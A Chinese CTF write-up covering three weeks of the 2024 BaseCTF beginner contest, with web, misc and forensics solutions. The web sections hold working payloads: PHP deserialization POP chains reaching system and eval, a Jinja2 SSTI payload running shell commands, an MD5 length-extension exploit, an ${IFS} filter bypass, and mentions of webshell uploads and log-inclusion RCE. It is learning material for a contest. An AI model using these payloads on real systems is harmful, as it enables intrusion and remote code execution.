2024年BaseCTF新生赛wp(前三周)

为什么先发前三周呢,因为我感觉后面的强度我可能吃不消(

第一周

web

HTTP是什么呀

根据题目改数据包,最后提示flag已经出现过了,说明可能是需要抓包看每一步的响应数据

这样就能看见flag已经有了,base64解码就可以得到

喵喵喵

直接就命令执行就可以了

MD5绕过欸

全部用数组绕过就可以了

A Dark Room

文字游戏而已,直接看源代码就有了

upload

传一个php文件进去,包含一句话木马,然后用蚁剑连后门就可以了,这里就不复现了

Aura 酱的礼物

这题其实也是第一次见,遇到了就正好学习一下

首先pen参数需要内容匹配,那就用data://text/plain,xxxx伪协议去绕过,然后分析challenge参数,首先这个参数的开头需要是http://jasmineaura.github.io,但是下面还有一个blog_content函数,可以先查一下这个函数

根据这个其实是需要我们做一个博客,博客的内容就是“已经收到Kengwang的礼物啦”,所以就需要租一个服务器并部署一个网页在服务器上,这里可以参考其他博主的文章,在阿里云等平台租用服务器。(这里github仓库是不可以的,因为github page不支持多级子域名)

接着绕过strpos函数,这里既然要开头是题目中的网址,又需要跳转到自己部署的网页,那就可以把域名解析时的A记录设置成jasmineaura.github.io,这样就可以通过访问jasmineaura.github.io.主域名。域名后缀,这样就可以正常跳转到自己的网页博客,就就可以绕过了。

接着就是gift执行命令,根据提示SSRF和base64,那么可以用伪协议读取flag.php

misc

根本进不去啊!

这里一开始其实搞不明白,还以为是资产搜集,一通乱扫

提示之后发现是dig扫描,(第一次见)kali自带dig扫描域名,加一个txt既可以得到解析后的文本内容

捂住X只耳

这里卡了很久,看题干吧

试试看消除人声,得到一段新的音频,再看看频谱图呢

是摩斯密码的解码了,这样就可以得到flag了

人生苦短,我用Python

这里主要是不太会脚本,选择手搓,根据脚本的内容,基本的flag都得到了BaseCTF{s1Mpl3_1s_??Tt3r_Th4n_C0mPl3x},只差两位,这里根据经验,应该是better这个单词,用Be成功得到flag,(我了个运啊)

还有一种预期的操作,就是根据给的信息来爆破符合条件的字母

base = 20240815
exp_17 = base ** 0
exp_18 = base ** 1
exp_19 = base ** 2
print(exp_19*95)
# 目标值
lhs_value = 41378751114180610
# 设定 c 和 d 的范围
range_limit = 160
# 暴力破解
found = False
for c in range(range_limit + 1):
    for d in range(range_limit + 1):
        if 95 * exp_17 + c * exp_18 + d * exp_19 == lhs_value:
            print(f"Found solution: c = {c}, d = {d}")
            print('最后两个字母:',chr(c)+chr(d))
            found = True
            break
    if found:
        break
if not found:
    print("No solution found.")

 这样根据题目中的信息就可以正常得到Be

得到flag。

Base

这也没啥,KFWUM6S2KVHFKUTOOQZVUVCGNJGUOMLMLAZVE5SYGJETAYZSKZVGIR22HE======

一次base32,一次base64

海上遇到了鲨鱼

这里先查看所有的文件,

flag.php文件中就有倒置的flag

你也喜欢圣物吗

这里先解密得到DO_YOU_KNOW_EZ_LSB?,图片zsteg梭之后,就可以看到key=lud1_lud1,用来解密,接着得到一个文件

拿出来打开

UW1GelpVTlVSbnN4ZFRCZmNURmZlREZmTlRGck1YMD0=

正着看还是反着看呢?

这里根据题目就可以得到应该是逆置查看

一眼jpg

写脚本把文件逆置重新打开

import binascii
​
def reverse_hex_data(input_file, output_file):
    # 读取 flag.zip 文件
    with open(input_file, 'rb') as f:
        # 读取十六进制数据
        data = f.read()
​
    # 将数据倒置
    reversed_data = data[::-1]
​
    # 写入倒置后的数据到新的文件
    with open(output_file, 'wb') as f:
        f.write(reversed_data)
​
if __name__ == "__main__":
    input_filename = 'flag.zip'
    output_filename = 'a.zip'
    reverse_hex_data(input_filename, output_filename)
    print(f"Reversed data has been written to {output_filename}.")

 接着就能得到flag,BaseCTF{h3ll0_h4cker}

第二周

web

一起吃豆豆

 这里要从index.js中找到flag得编码,再base64一下就可以了

你听不到我的声音

 这里遇到shell_exec,想到可以用重定向来读取flag

 这样再重新访问1.txt就可以得到flag了,这里的>就是将/flag得内容输入到1.txt中,这里胡创建一个1.txt,直接访问/1.txt就可以了

ez_ser

<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}
$ser = $_GET['ser'];
unserialize($ser);
?> 

这里可以先找到misc中的getflag(),最后是要通过它执行命令,再找到getlag在pnw中由over进入到getflag,往上发现需要触发_get魔术方法才能进去判断。这里的判断就可以直接让dusk等于gods,__get魔术函数  访问不可以访问的属性时触发  比如protected private;    有一个形式参数,所以我们需要访问一个不存在的属性

这里的nonono就是以恶搞不存在属性,所以我们需要从re的chu0进入到pwn,然而进入chu0的判断,还需要触发_toString魔术方法,所以还需要一个字符串输入

 而这里的lalala就是需要的字符串,通过触发_wakeuo魔术方法就可以得到字符串

__wakeup:对象被反串行化时(反序列化),所以只要让web类反序列化就可以触发

所以这条链子的顺序是web->re->pwn->misc,下面是完整的代码

<?php
class Misc
{
}
class pwn
{
}
class re
{
}
class web
{
}
$getflag = new Misc;
$get = new pwn;
$get->dusk = 'gods';#满足判断条件,进入getflag
$get->over = $getflag;#成功调用getflag方法
$a = new re();
$a->chu0 = $get;#满足不存在属性的调用,进入pwn的判断,将over->getflag
$b = new web();
$b->kw = $a;#满足字符串,进入re类的判断
echo urldecode(serialize($b));

最后传参进去就能得到flag

Really EZ POP

 <?php
highlight_file(__FILE__);

class Sink
{
    private $cmd = 'echo 123;';
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

if ($_POST['nature']) {
    $nature = unserialize($_POST['nature']);
} 

首先链子本身并不难理解,从下网上依次打上去就行,但是这里有提示关于版本问题,第一个类中的私有变量会受到影响,反序列化不会忽略成员变量可访问性,所以我选择重新赋值覆盖掉原本的变量值,所以这里需要定义一个construct魔术方法,这样在销毁的时候调用重新的到一个新的值,其他的就正常连起来就可以了

<?php
error_reporting(0);

class Sink
{
    private $cmd = 'echo 123;';
    public function __construct()
    {
        $this->cmd = "system('ls /');";
    }
    public function __toString()
    {
        eval ($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function __construct()
    {
        $this->word = new Sink();
    }
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __construct()
    {
        $this->animal = new Shark();
    }
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;
    public function __construct()
    {
        $this->sea = new Sea();
    }
    public function __destruct()
    {
        echo $this->sea->see;
    }
}
$ser = new Nature();
echo urlencode(serialize($ser));

 这里我选择让每一个链子的链接都在类中直接连接,这样可以保证每次销毁时都会连接到下一步

RCEisamazingwithspace

 <?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
    echo 'Space not allowed in command';
    exit;
}

// execute the command
system($cmd); 

看一眼代码,这里的空格被waf了 用${IFS}绕过就可以了

所以你说你懂 MD5?

 <?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag'); 加强难度就不会了?

来吧!强度微醺了

先看第一个,数组绕过;第二个,可以用数字加字母的组合绕过,选择两个md5后都是0e开头就可以了,因为0e开头在弱比较下都会为0,这样就0=0,成功绕过,比如appple=QNKCDZO&bananana=240610708;最后一个进入,可以参考一下2023楚慧杯的upload_shell,这一步和那题是一样的,这里用到hash_ext_attack,这个可以去GitHub上下一个GitHub - shellfeel/hash-ext-attack: 哈希长度扩展攻击利用脚本,免去了hashpump需要编译的烦恼,对于未知salt的MD5或SHA-1哈希,哈希长度拓展攻击可以被用来构造一个新的有效哈希值,从而绕过原有的认证。这是因为,MD5和SHA-1算法的哈希函数存在一个特定的性质:给定一个消息M和其哈希值H,可以很容易地计算出一个新的消息M',使得M'的哈希值为任意指定的值H'。也就是说我们可以在不知道a的字符串具体字母:(前提知道字符串a的md5值和字符串a的长度) 可以算出字符串(a+b)的md5值 ,b为你自己构造的一个字符串。这样的话就可以构造,

1.因为没有具体明文,所以第一个空着

2,hash值即为random的hash

3,扩展字符为admin,是为了绕过name最后需要为admin

4.密钥长度可以问一下gpt,或者自己尝试,这里是96

这样就可以绕过最后两步,但是有一个问题,最后需要加一个&闭合才能绕过得到flag,不加就一直过不去,这里如果有了解的师傅希望可以指导一下,靴靴~

(贴一个我的payload)

payload:apple[]=1&banana[]=2&appple=QNKCDZO&bananana=4790555361&apppple=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&banananana=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
&name=:%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=88b713fa0496a6fa1564963b20db9191&

 数学大师

 先看一眼题目,是网页快速提交

 那就直接用脚本去跑就可以,首先需要保存每一次计算的session值并发回服务器,这样分数才会递增,不然就一直是1分,再用正则匹配去匹配最后的式子,这样我选择(\d+[\s÷×\-+\d]+)\?,这里有个小问题,就是这里的运算符号是不能直接计算的,所以我们需要用replace去替换成可以识别的运算符号,脚本再下面,具体可以发到ai来分析一下会更清楚每一步的作用

import requests
import re
import time
s = requests.session()
url='http://challenge.basectf.fun:45610/'
q = s.get(url=url)
txt = re.findall("(\d+[\s÷×\-+\d]+)\?",q.text)
while 1:
    print(txt)
    txt1=str(txt[0]).replace("÷","/").replace("×","*")
    ans=eval(str(txt1))
    print(ans)
    r = s.post(url=url,data={"answer":ans})
    print(r.content.decode('utf-8'))
    time.sleep(0.1)
    txt = re.findall("(\d+[\s÷×\-+\d]+)\?",r.content.decode('utf-8'))
print(r.content.decode('utf-8'))

misc

二维码1-街头小广告

这里直接扫就可以了,我还以为要修复二维码

 反方向的雪

这里首先0010看一眼,最后有乱码

 最后pk,一眼压缩包,提取出来逆置一下,下面是逆置的脚本

input = open(r"flag,zip", 'rb')
input_all = input.read()
ss = input_all[::-1]
output = open('m0re.zip', 'wb')
output.write(ss)
input.close()
output.close()

 得到一个压缩包,下面那个不是密码,这里的密码可以直接爆破

 密码爆破是123456,解压得到一个文本,一直不知道怎么打开,想到压缩包备注的密码,想到可能是snow隐写(还是要和题目联系起来的),密码用备注里提示的密码就可以

Base?!

这个没花头,直接梭,XXencode解码

 哇!珍德食泥鸭

这里就是用gbinwalk分解一下,得到一个压缩包

 flag肯定在里面,直接简单粗暴一点

 海上又遇了鲨鱼

这里先看看有没有内容提示,搜一下base找到一堆流量包,翻了一会找到找到一个flag.zip

那就导出来,发现要密码,流量之前有看见过password,用Basectf!@#就对了,得到flag

 黑丝上的flag

stegsolve直接看(最难绷的一集)

 Aura 酱的旅行日记 <图寻擂台>

这题谷歌一搜就出来了,在成都博物馆,要不是网速不够快包是拿血的

 前辈什么的最喜欢了

 Base64转图片,然后直接梭或者010找ctf也可以得到flag,不过好像有些网站转不出来,这个数据有点大,我是用Base64转换图片工具 - 转换Base64编码为图片-优工具,这个挺快的

 第三周

web

玩原神玩的

 先看第一部分,这里需要len的大小和flag一样·,但是并不知道这里的长度,我们选择用burp爆破长度,我们可以写一个关于len长度的列表,将包发到爆破模块去用密码本去跑,这里贴一个密码本的脚本:

s = ""
with open("./1.txt", "w") as file:
    for i in range(100):
        s = s + "len[" + str(i) + "]=1&"
        file.write(s[:-1] + "\n")

 这里爆破的时候注意看长度都是一样的,所以需要看返回包的内容,返回这个我要玩原神就可以了,长度是45

 接着就第二部分

 这里一开始我以为是用data伪协议去写入,但是貌似直接等于我要玩原神才是对的,想复杂了(

tip=我要玩原神

第三部分就是更直接了:

 先写一个m,第一部分等于100%,第二部分等于100%的哈希值再拼接上love100%,就是字面意思,但是注意要把%url编码,不然会被浏览器解析,不能正常绕过了

m[0]=100%&m[1]=love%255e2d121ec0059bcf0ebb8e6ecc0fb3c1

 最后是一会返回一个数组,根据这个数组我们可以反向推导出flag的值,用哈希去爆破

import hashlib
def reverse_md5_hashes(flags):
    array=[]
    for ii,flag in enumerate(flags):
        for i in range(256):
            if hashlib.md5(str(i).encode()).hexdigest()==flag:
                array.append(chr(i^ii))
                break
    return ''.join(array)
flags=["3295c76acbf4caaed33c36b1b5fc2cb1","26657d5ff9020d2abefe558796b99584","73278a4a86960eeb576a8fd4c9ec6997","ec8956637a99787bd197eacd77acce5e","e2c420d928d4bf8ce0ff2ec19b371514","43ec517d68b6edd3015b3edc9a11367b","ea5d2f1c4608232e07d3aa3d998e5135","c8ffe9a587b126f152ed3d89a146b445","5f93f983524def3dca464469d2cf9f3e","9f61408e3afb633e50cdf1b20de6f466","66f041e16a60928b05a7e228a89c3799","03afdbd66e7929b125f8597834fa83a4","698d51a19d8a121ce581499d7b701668","7f39f8317fbdb1988ef4c628eba02591","44f683a84163b3523afe57c2e008bc8c","9f61408e3afb633e50cdf1b20de6f466","7f39f8317fbdb1988ef4c628eba02591","7f6ffaa6bb0b408017b62254211691b5","a5bfc9e07964f8dddeb95fc584cd965d","73278a4a86960eeb576a8fd4c9ec6997","e369853df766fa44e1ed0ff613f563bd","9f61408e3afb633e50cdf1b20de6f466","e369853df766fa44e1ed0ff613f563bd","19ca14e7ea6328a42e0eb13d585e4c22","3416a75f4cea9109507cacd8e2f2aefc","202cb962ac59075b964b07152d234b70","b53b3a3d6ab90ce0268229151c9bde11","4c56ff4ce4aaf9573aa5dff913df997a","67c6a1e7ce56d3d6fa748ab6d9af3fd7","d645920e395fedad7bbbed0eca3fe2e0","202cb962ac59075b964b07152d234b70","c0c7c76d30bd3dcaefc96f40275bdc0a","37693cfc748049e45d87b8c7d8b9aacd","3295c76acbf4caaed33c36b1b5fc2cb1","735b90b4568125ed6c3f678819b6e058","4e732ced3463d06de0ca9a15b6153677","6ea9ab1baa0efb9e19094440c317e21b","c74d97b01eae257e44aa9d5bade97baf","3295c76acbf4caaed33c36b1b5fc2cb1","70efdf2ec9b086079795c442636b55fb","fbd7939d674997cdb4692d34de8633c4","8e296a067a37563370ded05f5a3bf3ec","02e74f10e0327ad868d138f2b4fdd6f0","ad61ab143223efbc24c7d2583be69251","43ec517d68b6edd3015b3edc9a11367b"]
original_array=reverse_md5_hashes(flags)
print(original_array)

 通过爆破得到flag=BaseCTF{f104c007-a7b6-431b-b35e-7ca995d6d01a}

滤个不停

这里看题目,基本过滤了很多包含的手法,但是还可以用zip和日志包含,因为还有字符判断的限制,所以我们选择用日志包含

先在Datch传入日志文件的漏洞,再在UA头的地方写入命令,执行就可以,但是需要执行两次,一次是包含文件,一次是回显,或者可以直接写一个一句话木马,然后在传入参数执行,同样需要两次执行

复读机

这题,说实话我也不是很会解释,详细还是看官方wp,这题简单属实小看他了,ssti太依赖fenjing了,没有真正手工注过,先贴一个payload

BaseCTF{%print(''['_''_''cla''ss''_''_']|attr('_''_''mr''o''_''_')|attr('_''_''get''item''_''_')(1)|attr('_''_''subc''lasses''_''_')()|attr('_''_''geti''tem''_''_')(137)|attr('_''_''ini''t''_''_')|attr('_''_''glo''bals''_''_')|attr('_''_''get''item''_''_')('po''pen')('cat ${HOME%%root}flag')|attr('read')())%}

 主要就是通过attr调用属性,再用管道符拼接使其一步步调用下一个属性,最后用read属性来显示读取的文件,因为/被ban了,所以用cat ${HOME%%root}flag,这里${HOME%%root}就等于/,flag文件就在根目录下

 misc

 Base revenge

首先这个一眼base64补全,puzzlesolve直接秒,得到一串字符

这个字符比较难看出来,提示hint不太看得懂,所以用ciphey跑一下,结果直接出了

这是一个压缩包

提示是BaseCTF??????FTCesaB,应该是掩码爆破,这里只能选择应爆,爆破了十几个小时得到密码 BaseCTF_h11h_FTCesaB,解出来就是flag

我要吃火腿!

打开一眼兽音,解码得到一个异或脚本

def xor_with_ham(input_file, output_file):
    ham_bytes = [0x48, 0x61, 0x6D]
    
    with open(input_file, 'rb') as f:
        data = bytearray(f.read())

    for i in range(len(data)):
        data[i] ^= ham_bytes[i % 3]

    with open(output_file, 'wb') as f:
        f.write(data)

xor_with_ham('Hamorl.jpg', 'Ham.jpg')

因为是异或,所以我们用这个函数再跑一次,把文件位置换一下,就能得到原本的图片

 这里可以010看一眼,最后还有一个flag.mp3,binwalk拿出来听一下,发现像电视机没信号的声音,想到是sstv,所以我们用脚本去跑一下

https://github.com/colaclanth/sstv

这里贴一个地址,这可以直接得到解析出的图片,图片上就是flag

纯鹿人

得到一个文档,图片移开全选能发现有空格,所以改一下颜色能看见信息:

解出来得到pwaaword是ikunikun,所以应该是要找一个加密文件,在010查看中发现一个flag.txt,提取不出来,手撕!确实需要密码(,那就是这个了

 broken.mp4

这里是需要修复这个mp4,题目也提示了工具的出处,是蘇小沐师傅的文章

https://mp.weixin.qq.com/s/ODVbDRMhOGvk-dWN09uk1Q

根据文章的操作我们修复题目给的mp4,就能看原本的视频,视频里就有flag

 白丝上的flag

这里话说,脚本给我我都没用到,就是stegsolve硬看出来了(难道是预期???

 BaseCTF{there_is_the_flag@}

外星信号

这里先binwalk一下,得到flag.mp3,老样子sstv,解出来一个图片,有摩斯密码

解出来是一半的flag,在看原本的音频文件,一开始是一段摩斯,但是中间空出来一点,听声音应该还有一段,所以得用脚本去识别判断一下

 再摩斯解码一下,就能得到隐藏的flag头

拼接起来改成小写就是flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值